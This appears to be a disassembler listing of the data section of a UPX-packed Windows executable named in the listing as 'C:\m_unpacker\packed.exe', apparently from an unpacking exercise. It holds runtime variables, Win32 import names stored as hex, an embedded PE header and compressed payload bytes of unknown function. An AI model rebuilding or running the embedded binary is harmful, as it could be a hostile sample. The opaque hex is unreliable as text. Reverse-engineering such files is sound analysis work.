dw 0 ; DATA XREF: _time+21r align 8 dword_486FC8 dd 0 ; DATA XREF: _strtok+3Br _strtok+91w dword_486FCC dd 0 ; DATA XREF: _strtoxl+1B9w ; _fseek:loc_418CFAw ... dword_486FD0 dd 0 ; DATA XREF: sub_4195E9+35w ; __close:loc_41A541w ... dword_486FD4 dd 0 ; DATA XREF: __sopen+13Ar dword_486FD8 dd 0A28h ; DATA XREF: _WinMainCRTStartup+52w dword_486FDC dd 501h ; DATA XREF: _WinMainCRTStartup+49w dword_486FE0 dd 5 ; DATA XREF: _WinMainCRTStartup+3Ew dword_486FE4 dd 1 ; DATA XREF: _WinMainCRTStartup+30w dword_486FE8 dd 1 ; DATA XREF: sub_40E68B:loc_40E96Br ; __setargv+91w dword_486FEC dd 0FB0B00h ; DATA XREF: sub_40E68B+2E9r ; sub_40E68B+309r ... dd 0 ; void *dword_486FF4 dword_486FF4 dd 0FB0A80h ; DATA XREF: __setenvp+44w _getenv+9r ... dword_486FF8 dd 0 ; DATA XREF: ___crtsetenv+36r dword_486FFC dd 0 ; DATA XREF: _getenv+16r ; ___wtomb_environ+4r ... dd 0 off_487004 dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_48700C db 0 ; DATA XREF: _doexit+2Dw ; ___endstdio+5r align 10h dword_487010 dd 0 ; DATA XREF: _doexit+27w dword_487014 dd 0 ; DATA XREF: _doexit+4r _doexit+8Bw ; char *dword_487018 dword_487018 dd 0 ; DATA XREF: _WinMainCRTStartup+84w ; __setenvp:loc_41E70Cr ... align 10h dword_487020 dd 0 ; DATA XREF: __amsg_exitr ; _fast_error_exitr ... dword_487024 dd 0 ; DATA XREF: __stbuf+37r dd 0 dword_48702C dd 0 ; DATA XREF: _mallocr ; _realloc:loc_4194BBr ... dword_487030 dd 0 ; DATA XREF: __callnewhr dword_487034 dd 0 ; DATA XREF: __cftoe+11r __cftof+1Ar ... byte_487038 db 0 ; DATA XREF: __cftoe+3r __cftoe+98r ... align 4 dword_48703C dd 0 ; DATA XREF: __cftof+11r __cftog+21w ... byte_487040 db 0 ; DATA XREF: __cftog+51w align 4 dword_487044 dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+4Er ; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar ... dword_487048 dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+5Cr ; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r ... dword_48704C dd 0 ; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *)+7Ar ; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *)+5r dword_487050 dd 0 ; DATA XREF: sub_41CA7C+29r dword_487054 dd 2 dup(0) ; DATA XREF: unknown_libname_4+Co ; int dword_48705C dword_48705C dd 0 ; DATA XREF: __strupr+4r __strupr+6Er ... dd 3 dup(0) dword_48706C dd 0 ; DATA XREF: _mbstowcs+61r ; _mbstowcs+BFr ... dd 0 dword_487074 dd 1 ; DATA XREF: ___crtLCMapStringA+28r ; ___crtLCMapStringA+4Cw ... dword_487078 dd 1 ; DATA XREF: __setmbcp:loc_41E01Br ; _getSystemCP+4w ... dword_48707C dd 0 ; DATA XREF: __XcptFilter+3Ar ; __XcptFilter+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_41E7CAo ; UPX1:off_487004o align 4 dd 3Ah dup(0) dword_487184 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r ; ___crtGetEnvironmentStringsA+23w ... dword_487188 dd 0 ; DATA XREF: __FF_MSGBANNER+21r dword_48718C dd 0 ; DATA XREF: __stbuf:loc_41A6BBw ; __openfile+154w ... dword_487190 dd 1 ; DATA XREF: ___crtGetStringTypeA+26r ; ___crtGetStringTypeA:loc_41F141w dword_487194 dd 0 ; DATA XREF: __openfile+7r word_487198 dw 0 ; DATA XREF: __fltout+1Ao __fltout+46r byte_48719A db 0 ; DATA XREF: __fltout+39r align 4 dword_48719C dd 7 dup(0) ; DATA XREF: __fltout+52o dword_4871B8 dd 0 ; DATA XREF: __fltout+40w __fltout+5Co dword_4871BC dd 0 ; DATA XREF: __fltout+4Dw dword_4871C0 dd 0 ; DATA XREF: __fltout+31w dword_4871C4 dd 0 ; DATA XREF: __fltout+52w ; int (__stdcall *dword_4871C8)() dword_4871C8 dd 0AA3203h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_41FE05r ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ... align 10h dword_4871D0 dd 0 ; DATA XREF: __tzset+11w __tzset+63w ... align 8 dword_4871D8 dd 0 ; DATA XREF: __tzset+33o __tzset+46r dword_4871DC dd 10h dup(0) ; DATA XREF: __tzset+C1o word_48721C dw 0 ; DATA XREF: __isindst+A8r word_48721E dw 0 ; DATA XREF: __tzset+54r __isindst+DBr ... word_487220 dw 0 ; DATA XREF: __isindst+CAr word_487222 dw 0 ; DATA XREF: __isindst+D3r ; __isindst:loc_420212r word_487224 dw 0 ; DATA XREF: __isindst+C0r word_487226 dw 0 ; DATA XREF: __isindst+B8r word_487228 dw 0 ; DATA XREF: __isindst+B0r word_48722A dw 0 ; DATA XREF: __isindst+9Er dword_48722C dd 0 ; DATA XREF: __tzset+4Br dword_487230 dd 10h dup(0) ; DATA XREF: __tzset+FBo word_487270 dw 0 ; DATA XREF: __isindst+46r word_487272 dw 0 ; DATA XREF: __tzset:loc_41FF39r ; __isindst+78r ... word_487274 dw 0 ; DATA XREF: __isindst+67r word_487276 dw 0 ; DATA XREF: __isindst+70r ; __isindst:loc_4201A4r word_487278 dw 0 ; DATA XREF: __isindst+5Dr word_48727A dw 0 ; DATA XREF: __isindst+55r word_48727C dw 0 ; DATA XREF: __isindst+4Dr word_48727E dw 0 ; DATA XREF: __isindst+3Er dword_487280 dd 0 ; DATA XREF: __tzset+80r ; char *dword_487284 dword_487284 dd 0 ; DATA XREF: __tzset+132r ; __tzset:loc_42000Er ... dword_487288 dd 0 ; DATA XREF: ___tzsetr ___tzset+Ew dword_48728C dd 0 ; DATA XREF: ___crtMessageBoxA+3r ; ___crtMessageBoxA+2Ew ... dword_487290 dd 0 ; DATA XREF: ___crtMessageBoxA+43w ; ___crtMessageBoxA:loc_42061Er dword_487294 dd 0 ; DATA XREF: ___crtMessageBoxA+4Aw ; ___crtMessageBoxA+60r dword_487298 dd 0 ; DATA XREF: __sopen+3Fr dword_48729C dd 0 ; DATA XREF: _raise:loc_4211DFr ; _raise+6Do dword_4872A0 dd 0 ; DATA XREF: _raise:loc_4211B6r ; _raise+44o dword_4872A4 dd 0 ; DATA XREF: _raise:loc_4211A9r ; _raise+37o dword_4872A8 dd 0 ; DATA XREF: _raise:loc_4211C3r ; _raise+51o align 10h dword_4872B0 dd 0 ; DATA XREF: ___crtCompareStringA+28r ; ___crtCompareStringA+48w ... dword_4872B4 dd 0 ; DATA XREF: ___crtLCMapStringW+28r ; ___crtLCMapStringW+4Cw ... dword_4872B8 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r ; ___crtGetStringTypeW:loc_42247Dw byte_4872BC db 1 ; DATA XREF: unknown_libname_1r ; unknown_libname_1+9w align 10h dword_4872C0 dd 0FA4968h ; DATA XREF: _flsall:loc_41A636r ; __getstream+14r ... dd 7 dup(0) dword_4872E0 dd 400h dup(0) ; DATA XREF: UPX0:off_438C68o ; UPX0:00438C70o ; size_t NumOfElements NumOfElements dd 200h ; DATA XREF: _flsall+9r _flsall+56r ... dd 7 dup(0) dword_488300 dd 0FB0EF0h ; DATA XREF: __flsbuf+B1r __filbuf+75r ... dword_488304 dd 3Fh dup(0) ; DATA XREF: __ioinit+92o dword_488400 dd 20h ; DATA XREF: __close+8r __read+Cr ... dword_488404 dd 4E4h ; DATA XREF: __setmbcp+14r ; __setmbcp+65w ... align 10h dword_488410 dd 3 dup(0) ; DATA XREF: __setmbcp+123o ; __setmbcp+171o ... dword_48841C dd 0 ; DATA XREF: __setmbcp+108w ; __setmbcp+15Dw ... byte_488420 db 0 ; DATA XREF: _setSBUpLow:loc_41E1EBw ; _setSBUpLow:loc_41E208w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_488520 db 0 ; DATA XREF: __setmbcp+5Co ; __setmbcp+AFo ... byte_488521 db 0 ; DATA XREF: __splitpath+5Dr ; __setmbcp+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_488624 dd 0 ; DATA XREF: __setmbcp+6Ew ; __setmbcp+12Bw ... dword_488628 dd 10h ; DATA XREF: ___sbh_heap_init+32w ; ___sbh_alloc_new_region+5r ... dword_48862C dd 0 ; DATA XREF: ___sbh_free_block+239r ; ___sbh_free_block+259r ... dword_488630 dd 0FA0650h ; DATA XREF: ___sbh_heap_init+2Dw ; ___sbh_free_block+310w ... ; void *Dst Dst dd 0 ; DATA XREF: ___sbh_heap_init:loc_41A9B8w ; ___sbh_free_block+22Cr ... dword_488638 dd 1 ; DATA XREF: ___sbh_heap_init+24w ; ___sbh_find_blockr ... dword_48863C dd 0FA0650h ; DATA XREF: ___sbh_heap_init+15w ; ___sbh_find_block+8r ... dword_488640 dd 0FA0000h ; DATA XREF: __heap_alloc+28r ; _free+21r ... dword_488644 dd 142340h ; DATA XREF: _WinMainCRTStartup+7Aw ; __wincmdln+Fr ... dword_488648 dd 1 ; DATA XREF: __setenvp+ADw _getenvr dword_48864C dd 1 ; DATA XREF: ___initmbctabler ; ___initmbctable+11w ... dword_488650 dd 0FB0E64h ; DATA XREF: __onexit+13r ; __onexit:loc_4185C5r ... ; void *Memory Memory dd 0FB0E60h ; DATA XREF: __onexit+1r __onexit+Cr ... dd 66Ah dup(0) dd 70h, 22000h, 70614D01h, 77656956h, 6946664Fh, 100656Ch dd 50746547h, 65636F72h, 65487373h, 1007061h aSetenvironment db 'SetEnvironmentVariableA',0 dd 6D6F4301h, 65726170h, 69727453h, 57676Eh, 6D6F4301h dd 65726170h, 69727453h, 41676Eh, 74655301h, 4F646E45h dd 6C694666h, 49010065h, 64614273h, 65646F43h, 727450h dd 42734901h, 65526461h, 74506461h, 53010072h, 6E557465h dd 646E6168h, 4564656Ch, 70656378h, 6E6F6974h, 746C6946h dd 1007265h, 73756C46h, 6C694668h, 66754265h, 73726566h dd 65530100h, 64745374h, 646E6148h, 100656Ch, 53746547h dd 6E697274h, 70795467h, 1005765h, 53746547h, 6E697274h dd 70795467h, 1004165h, 46746547h, 54656C69h, 657079h dd 74654701h, 48647453h, 6C646E61h, 53010065h, 61487465h dd 656C646Eh, 6E756F43h, 47010074h, 6E457465h, 6F726976h dd 6E656D6Eh, 72745374h, 73676E69h, 47010057h, 6E457465h dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 72460100h dd 6E456565h, 6F726976h, 6E656D6Eh, 72745374h, 73676E69h dd 46010057h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh dd 676E6972h, 1004173h, 74697845h, 65726854h, 1006461h dd 54746547h, 436B6369h, 746E756Fh, 75510100h, 50797265h dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 51010072h dd 79726575h, 66726550h, 616D726Fh, 4665636Eh, 75716572h dd 79636E65h, 6C530100h, 706565h, 74654701h, 74737953h dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h dd 69546C61h, 100656Dh, 746C754Dh, 74794269h, 576F5465h dd 43656469h, 726168h, 61655201h, 6C694664h, 43010065h dd 65736F6Ch, 646E6148h, 100656Ch, 74697257h, 6C694665h dd 54010065h, 736E6172h, 4E746361h, 64656D61h, 65706950h dd 72430100h, 65746165h, 656C6946h, 57010041h, 46746961h dd 6953726Fh, 656C676Eh, 656A624Fh, 1007463h, 4C746547h dd 45747361h, 726F7272h, 72430100h, 65746165h, 6E657645h dd 1004174h, 4D746547h, 6C75646Fh, 6C694665h, 6D614E65h dd 1004165h, 54746547h, 46656D69h, 616D726Fh, 1004174h dd 44746547h, 46657461h, 616D726Fh, 1004174h, 61657243h dd 68546574h, 64616572h, 65470100h, 6C694674h, 7A695365h dd 47010065h, 69467465h, 7441656Ch, 62697274h, 73657475h dd 46010041h, 43646E69h, 65736F6Ch, 69460100h, 6954656Ch dd 6F54656Dh, 74737953h, 69546D65h, 100656Dh, 656C6946h dd 656D6954h, 6F4C6F54h, 466C6163h, 54656C69h, 656D69h dd 6E694601h, 78654E64h, 6C694674h, 1004165h, 646E6946h dd 73726946h, 6C694674h, 1004165h, 46746553h, 50656C69h dd 746E696Fh, 1007265h, 7661654Ch, 69724365h, 61636974h dd 6365536Ch, 6E6F6974h, 6E450100h, 43726574h, 69746972h dd 536C6163h, 69746365h, 1006E6Fh, 74696E49h, 696C6169h dd 7243657Ah, 63697469h, 65536C61h, 6F697463h, 646E416Eh dd 6E697053h, 6E756F43h, 44010074h, 74656C65h, 69724365h dd 61636974h, 6365536Ch, 6E6F6974h, 72460100h, 694C6565h dd 72617262h, 47010079h, 6E457465h, 6F726976h, 6E656D6Eh dd 72615674h, 6C626169h, 1005765h, 50746547h, 41636F72h dd 65726464h, 1007373h, 64616F4Ch, 7262694Ch, 41797261h dd 65480100h, 72467061h, 1006565h, 70616548h, 6F6C6C41h dd 55010063h, 6E61686Eh, 64656C64h, 65637845h, 6F697470h dd 6C69466Eh, 726574h, 72695601h, 6C617574h, 72657551h dd 784579h, 61655201h, 6F725064h, 73736563h, 6F6D654Dh dd 1007972h, 53746547h, 65747379h, 666E496Dh, 4F01006Fh dd 506E6570h, 65636F72h, 1007373h, 4D746547h, 6C75646Fh dd 6E614865h, 41656C64h, 6F460100h, 74616D72h, 7373654Dh dd 41656761h, 6C470100h, 6C61626Fh, 6F6C6E55h, 1006B63h dd 626F6C47h, 6F4C6C61h, 1006B63h, 616D6E55h, 65695670h dd 46664F77h, 656C69h, 72655401h, 616E696Dh, 72506574h dd 7365636Fh, 43010073h, 74616572h, 6C694665h, 70614D65h dd 676E6970h, 53010041h, 69467465h, 6954656Ch, 100656Dh dd 46746547h, 54656C69h, 656D69h, 65724301h, 50657461h dd 65636F72h, 417373h, 70784501h, 45646E61h, 7269766Eh dd 656D6E6Fh, 7453746Eh, 676E6972h, 1004173h, 46746553h dd 41656C69h, 69727474h, 65747562h, 1004173h, 54746547h dd 50706D65h, 41687461h, 65470100h, 69784574h, 646F4374h dd 6F725065h, 73736563h, 65500100h, 614E6B65h, 5064656Dh dd 657069h, 70754401h, 6163696Ch, 61486574h, 656C646Eh dd 65470100h, 72754374h, 746E6572h, 636F7250h, 737365h dd 65724301h, 50657461h, 657069h, 74654701h, 73726556h dd 456E6F69h, 1004178h, 626F6C47h, 654D6C61h, 79726F6Dh dd 74617453h, 1007375h, 74697845h, 636F7250h, 737365h dd 64695701h, 61684365h, 4D6F5472h, 69746C75h, 65747942h dd 65470100h, 6D6F4374h, 65747570h, 6D614E72h, 1004165h dd 656C6544h, 69466574h, 41656Ch, 74654701h, 72727543h dd 50746E65h, 65636F72h, 64497373h, 6F430100h, 69467970h dd 41656Ch, 65724301h, 4D657461h, 78657475h, 54010041h dd 696D7265h, 6574616Eh, 65726854h, 1006461h, 65766F4Dh dd 656C6946h, 47010041h, 65567465h, 6F697372h, 5301006Eh dd 6F437465h, 6C6F736Eh, 72744365h, 6E61486Ch, 72656C64h dd 65470100h, 636F4C74h, 49656C61h, 416F666Eh, 65470100h dd 676F4C74h, 6C616369h, 76697244h, 1007365h, 74696157h dd 4D726F46h, 69746C75h, 4F656C70h, 63656A62h, 1007374h dd 656E6547h, 65746172h, 736E6F43h, 43656C6Fh, 456C7274h dd 746E6576h, 74520100h, 776E556Ch, 646E69h, 74654701h dd 656D6954h, 656E6F5Ah, 6F666E49h, 74616D72h, 6E6F69h dd 74654701h, 74737953h, 69546D65h, 100656Dh, 70616548h dd 6C416552h, 636F6Ch, 74654701h, 72617453h, 49707574h dd 416F666Eh, 65470100h, 6D6F4374h, 646E616Dh, 656E694Ch dd 52010041h, 65736961h, 65637845h, 6F697470h, 4801006Eh dd 44706165h, 72747365h, 100796Fh, 70616548h, 61657243h dd 1006574h, 74726956h, 466C6175h, 656572h, 72695601h dd 6C617574h, 6F6C6C41h, 49010063h, 64614273h, 74697257h dd 72745065h, 65480100h, 69537061h, 100657Ah, 614D434Ch dd 72745370h, 41676E69h, 434C0100h, 5370614Dh, 6E697274h dd 1005767h, 43746547h, 666E4950h, 4701006Fh, 43417465h dd 47010050h, 454F7465h, 50434Dh, 7D00h, 221D400h, 4E570100h dd 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h, 85000041h dd 0DC000000h, 0FF000221h, 74FF000Bh, 73FF00h, 0FF0015FFh dd 0DFF0002h, 1FF00h, 0FF0016FFh, 9FF0034h, 10FF00h, 0FF0013FFh dd 97FF0012h, 17FF00h, 0FF000AFFh, 3FF0004h, 0 dd 45500000h, 14C0000h, 59BE0004h, 4660h, 0 dd 0E00000h, 10B010Fh, 18000006h, 56000002h, 6, 99D40000h dd 10000001h, 30000000h, 2, 10000040h, 2000000h, 40000h dd 0 dd 40000h, 0 dd 0A0000000h, 4000008h, 0D4300000h, 20003h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 40E80000h, 500002h, 14h dup(0) dd 30000000h, 2280002h, 6 dup(0) dd 742E0000h, 747865h, 16840000h, 10000002h, 18000000h dd 4000002h, 3 dup(0) dd 200000h, 722E6000h, 61746164h, 1BE60000h, 30000000h dd 1C000002h, 1C000000h, 2, 2 dup(0) dd 400000h, 642E4000h, 617461h, 36580000h, 50000006h, 44000002h dd 38000001h, 2, 2 dup(0) dd 400000h, 732EC000h, 74616478h, 180061h, 90000000h, 2000008h dd 7C000000h, 3, 2 dup(0) dd 2400000h, 9000C000h, 43600008h, 98060002h, 61170008h dd 0E539BB58h, 0DDE0F2D6h, 6FA33216h, 822B000Ah, 0A10F80B1h dd 56D4619h, 20CA7711h, 6F5A82EBh, 0A31920E5h, 0F75D4582h dd 957417C6h, 886ABD47h, 810C512Ch, 0B57F7DD1h, 9BA10741h dd 6CD14887h, 0D9AA7B63h, 83176AC6h, 0B6A181CCh, 6E4152A7h dd 0CD2333Ah, 80F0677h, 0A0276B8Dh, 4773D718h, 818CA322h dd 8885FF69h, 2D8704C3h, 0D586DB43h, 0FF1F6805h, 0AB182A94h dd 0A04B2099h, 0D0377F44h, 815C28B7h, 9A5F854Fh, 0E0ADA9DBh dd 0E30227C9h, 656949C0h, 1BCD973Ch, 5A30F525h, 4264F41h dd 5096EDCEh, 5013B32h, 46054326h, 0DF5B957Eh, 0F6436925h dd 420EEFCDh, 170B067Ch, 64334B32h, 80DD00B8h, 4D5B185Dh dd 42D08F5Dh, 1BA90940h, 0FF0B82B8h, 420C553h, 0B58141B4h dd 60F33483h, 0E7CB029h, 9B96A4A8h, 6A035A6h, 3A44989Ch dd 376C245Ch, 0E8E09B4h, 0EFF2443h, 0EE8428B1h, 0C9971A97h dd 498020C4h, 8F5BD6F6h, 12656253h, 78007F6Eh, 6D7CA940h dd 0C0C40B80h, 4B6141C8h, 651F0941h, 3EDB5480h, 8B27530Bh dd 76A264E7h, 0DF60C519h, 0E4204673h, 50227328h, 0AFF801C3h dd 60C58B54h, 4B8C96FDh, 3E032EC4h, 0AD429h, 72B2C2D1h dd 2952972Eh, 436F2C62h, 22CDB82Ch, 68BBAA07h, 1F110361h dd 0C979B72h, 49963503h, 506373D7h, 44DF1143h, 44B890BBh dd 6D60C704h, 3135B45Bh, 5B674D57h, 1985D312h, 1128C245h dd 4F88688Ah, 0A95557EFh, 638E4625h, 110E0008h, 248208D9h dd 0C71974DFh, 17688236h, 44238FE7h, 0C1724032h, 6E4843AAh dd 96881F93h, 9B750476h, 29670D97h, 0F7A7FC5h, 562C5578h dd 5900E5B8h, 45477186h, 965957DFh, 0BCEAD150h, 0A2FB404Dh dd 65321CC2h, 0AA30A773h, 588F244Ch, 20A8618Ch, 5B44E90Ch dd 1F02101h, 31975AFh, 5A6B6661h, 1F822859h, 694446Dh dd 3213C447h, 0A2968C6h, 5049F0Fh, 0A1933609h, 294976AFh dd 716689B4h, 19B0D397h, 54E331A3h, 0CB00A73h, 0A3A6B0D1h dd 304E82Dh, 2EB2F6Ch, 0E1651B41h, 315B9C83h, 6F7FEC4Dh dd 73800DABh, 0E243FF0Eh, 0FFB12FF9h, 2AA70241h, 364680Ch dd 0BF783040h, 0CA5310Fh, 0EB08404Fh, 8D340909h, 6FFF0140h dd 408B7CFEh, 3D08B3Ch, 784803CAh, 8B20418Bh, 1C5903DAh dd 69DB7C14h, 24575738h, 7981100Ch, 441320Ah, 4B0D27DFh dd 74031533h, 14C51B2Ch, 523B14D0h, 0D0209FC3h, 0FDDBCA0Dh dd 0A2C4B7D7h, 3F203F0h, 0E6774FAh, 71851B4Bh, 7524BE6h dd 0C093B418h, 0E8C47F33h, 1752917h, 71EE8C3h, 807C17F8h dd 0C34AEDA4h, 505D5B58h, 0FF54EC83h, 3D384027h, 8B40CF8Bh dd 0B0AAF3D7h, 84F1AB44h, 5257F126h, 0B1E5151h, 0DFFA1A55h dd 0C483A9A6h, 0C3C08554h, 0C30803B1h, 9CD92786h, 0D3206DC0h dd 9027F10Dh, 0B15B58C3h, 54825B2Eh, 173F061Dh, 27AD9875h dd 0EB7359BFh, 200417Ch, 0C81B3F7Dh, 8F176D0Eh, 3E98E601h dd 501A23B7h, 61087B6h, 4C43857Ah, 223BB532h, 4C202803h dd 48800F24h, 20841000h, 10803213h, 4320381h, 82100132h dd 2032042Ch, 0AABB7702h, 17E209Ah, 659A0E01h, 102E4833h dd 0D81403F8h, 3AD34D34h, 0D40E1D4Eh, 0D31BD01Ah, 0C8D34D34h dd 0B813C01Fh, 4D34D34Dh, 0A80EB021h, 4D34A00Dh, 980F34D3h dd 0D3059010h, 88D34D34h, 8012841Eh, 4D34D34Dh, 740C7C20h dd 4D346C0Bh, 641534D3h, 0D3195C1Ch, 54D34D34h, 44184C11h dd 4D34D34Dh, 34173C16h, 4D333022h, 2C2334D3h, 0D8012824h dd 0F07C8E4Eh, 0FFF8007Fh, 786D1FEFh, 14A36ECh, 44100F80h dd 7B04CC2Fh, 0D9302799h, 0E20741FDh, 0C1F67E1Ah, 41CA7C01h dd 2D092007h, 5DD65D0Dh, 43E37A8Ah, 0CE080402h, 57B0EDE4h dd 827982B6h, 0DFA62F21h, 0BDA5A10Fh, 81FCFC8Dh, 40FCE09Fh dd 5EA8807Eh, 0A3DAA3C1h, 111EDC83h, 0FFE815Fh, 41B7B540h dd 415F6086h, 0A2CFBEB6h, 215ECEE4h, 1AA2FFh, 0A2E8A2E5h dd 13A17E5Bh, 4AFE0551h, 0DA06DDFEh, 5FBFDA5Eh, 32DA6ADAh dd 0E0DED8D3h, 3B4D20F9h, 7E3173F9h, 2160601h, 0D8669A69h dd 18040F03h, 69A40D05h, 906A69Ah, 20080C07h, 91906C3h dd 0B00B370Ah, 0AE2EEF61h, 0AF0F0E76h, 79062710h, 611DA41h dd 35212E12h, 0C320C836h, 5043411Fh, 0D86D867h, 532F521Bh dd 82BF570Fh, 0A6868961h, 566D2F37h, 9A69A41Bh, 721C7020h dd 0D86C5F06h, 67800C10h, 3F820F81h, 320C10CDh, 911F8483h dd 8320D829h, 0A4A19E34h, 1821B0DFh, 3FB7A764h, 4EF33FCEh dd 17D7C30Eh, 1F050718h, 0A41901C0h, 161D00BDh, 90199604h dd 88D9A41h, 19018F8Eh, 91900190h, 9019018Ah, 2F039392h dd 19AA05DBh, 18C18C0Ah, 81F8A779h, 57423BE6h, 90F3AF4h dd 0A69A69A6h, 10A40AC8h, 69A6AA78h, 1248119Ah, 0A6BE1324h dd 0F8C9DA69h, 190EC039h, 0AED31A98h, 1B609A69h, 0EF81C28h dd 9A69A678h, 7938F065h, 58D07AE0h, 0FCB659DBh, 0FF93B08Eh dd 0A872E01Eh, 3C1B355Ah, 0F5B1010Fh, 5AE860D1h, 228F0201h dd 9768B602h, 15436501h, 112694F6h, 0A86BB218h, 7F35E60Ah dd 3FF5E40h, 74D5D20Dh, 0B6187681h, 1447F08h, 8016164Fh dd 0D4F1F070h, 0ACD0544Eh, 44500754h, 160ECB7Fh, 0A78F2C5Eh dd 0D5B12E06h, 161FFF65h, 155A69A6h, 5A063BCEh, 0B2CD9778h dd 0D4B59A69h, 300111F3h, 0D769A64Eh, 67016D36h, 7759063Ah dd 9AAA69DAh, 0D354B496h, 0DA2F4EF2h, 6D35547h, 0A0416C4Dh dd 0E4174002h, 0C8725E49h, 4008FA05h, 0E43F0C9Ch, 0C3509E49h dd 12F4240Fh, 16989680h, 21F93FCFh, 19BEBC20h, 1BC9BF04h dd 0FFA1348Eh, 0EDFFFFFFh, 0C21BCECCh, 20404ED3h, 70B59EF0h dd 0C5ADA82Bh, 0D040699Dh, 0E525FD5Dh, 194F8E1Ah, 0FF4083EBh dd 71FFFFFFh, 4395D796h, 298D050Eh, 0F9409EAFh, 0ED44A0BFh dd 818F1281h, 0BF40B982h, 0CFA6D53Ch, 0FF1F49FFh, 78BFFFFFh dd 0C66F4079h, 80E98CE0h, 93BA47C9h, 85BC41A8h, 3927556Bh dd 0E070F78Dh, 0DDBC427Ch, 0FFFFFFFFh, 9DF9DE8Eh, 0AA7EEBFBh dd 0E6A14351h, 0F2CCE376h, 81842F29h, 10284426h, 0AEF8AA17h dd 0C4C5E310h, 0FFFFFFFFh, 0A7EB44FAh, 0EBF7F3D4h, 957A4AE1h dd 0CC6545CFh, 0A60E91C7h, 0E319A0AEh, 650D46A3h, 81750C17h dd 0FFFFFFFFh, 0C9767586h, 42584D48h, 3993A7E4h, 0B2B8353Bh dd 0A74D53EDh, 0C53D5DE5h, 9E8B3B5Dh, 5DFF5A92h, 0FFFFFFFFh dd 20A1F0A6h, 8CA554C0h, 0FDD16137h, 0D88B5A8Bh, 0F9895D25h dd 95AA67DBh, 0BF27F3F8h, 0DD5DC8A2h, 0FFF8013Eh, 0C94C6E80h dd 8A20979Bh, 0C4605202h, 0CCCD2625h, 0EDFFBFFFh, 3FFB0103h dd 0D70A3D71h, 0F80870A3h, 3B645A3Fh, 978D4FDFh, 0FFFF126Eh dd 0F583FFFFh, 2CD3C33Fh, 58E21965h, 0F1D1B717h, 230FD03Fh dd 471B4784h, 0EEA7C5ACh, 0B6A6403Fh, 0FFFF6C69h, 5AFFFFFh dd 0EB8637BDh, 0BC3D333Fh, 0D5E57A42h, 0E7D6BF94h, 0FDFDC23Fh dd 118461CEh, 0E4ABCC77h, 0FFFF2F3Fh, 5B4CFFFFh, 0BEC44DE1h dd 0C9E69594h, 53C4923Fh, 0CD44753Bh, 0AF9ABE14h, 0BA67DE3Fh dd 0AD453994h, 0FFFFB11Eh, 94CFFFFFh, 0C623243Fh, 3BBABCE2h dd 7A8B6131h, 5955613Fh, 53B17EC1h, 5FBB127Ch, 2FEED73Fh dd 0FFFF068Dh, 92BEFDFFh, 44FB1585h, 0E9A53F47h, 0EA27A539h dd 3F2AA87Fh, 0E4A1AC7Dh dd 467C64BCh, 0FF55DDD0h, 3EFFFFFFh, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0FF974782h, 0B8FFFFFFh, 3BD7FD00h, 85888DCh, 0E3E8B11Bh dd 3B03A686h, 424584C6h, 7599B607h, 3A2EDB37h, 0FF1C7133h dd 0D2FFFFFFh, 0EE32DB23h, 395A9049h, 0C0BE87A6h, 82A5DA57h dd 32B5A2A6h, 11B268E2h, 449F52A7h, 0FF10B759h, 2CFFFFFFh dd 2DE44925h, 534F3436h, 256BCEAEh, 0A404598Fh, 7DC2DEC0h dd 1EC6E8FBh, 5A88E79Eh, 0FE3C9157h, 0BFFFFFBFh, 18228350h dd 62654B4Eh, 0AF8F83FDh, 117D9406h, 0CE9FDE5Bh, 0DD04C8D2h dd 120AD8A6h, 2E00D996h, 9C00071Ch, 4F564189h, 6069F40h dd 2E2FCD7Bh, 0E95B585Fh, 0F540A049h, 593F003Ah, 